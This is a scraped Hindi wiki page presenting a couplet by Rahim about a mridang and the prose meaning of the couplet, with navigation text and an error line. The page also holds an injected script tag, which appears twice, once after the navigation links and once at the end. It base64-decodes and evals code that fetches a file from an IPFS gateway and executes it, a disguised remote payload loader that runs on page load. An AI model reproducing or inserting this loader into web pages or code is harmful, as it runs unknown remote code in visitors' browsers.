एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "३"।

रहिमन आटा के लगे -रहीम

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

‘रहिमन’ आटा के लगे, बाजत है दिन-राति ।
घिउ शक्कर जे खात हैं , तिनकी कहा बिसाति ॥

अर्थ

मृदंग को ही देखो। जरा-सा आटा मुँह पर लगा दिया, तो वह दिन रात बजा करता है, मौज में मस्त होकर खूब बोलता है। फिर उनकी बात क्या पूछते हो, जो रोज घी शक्कर खाया करते हैं।


पीछे जाएँ
रहीम के दोहे
आगे जाएँ
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>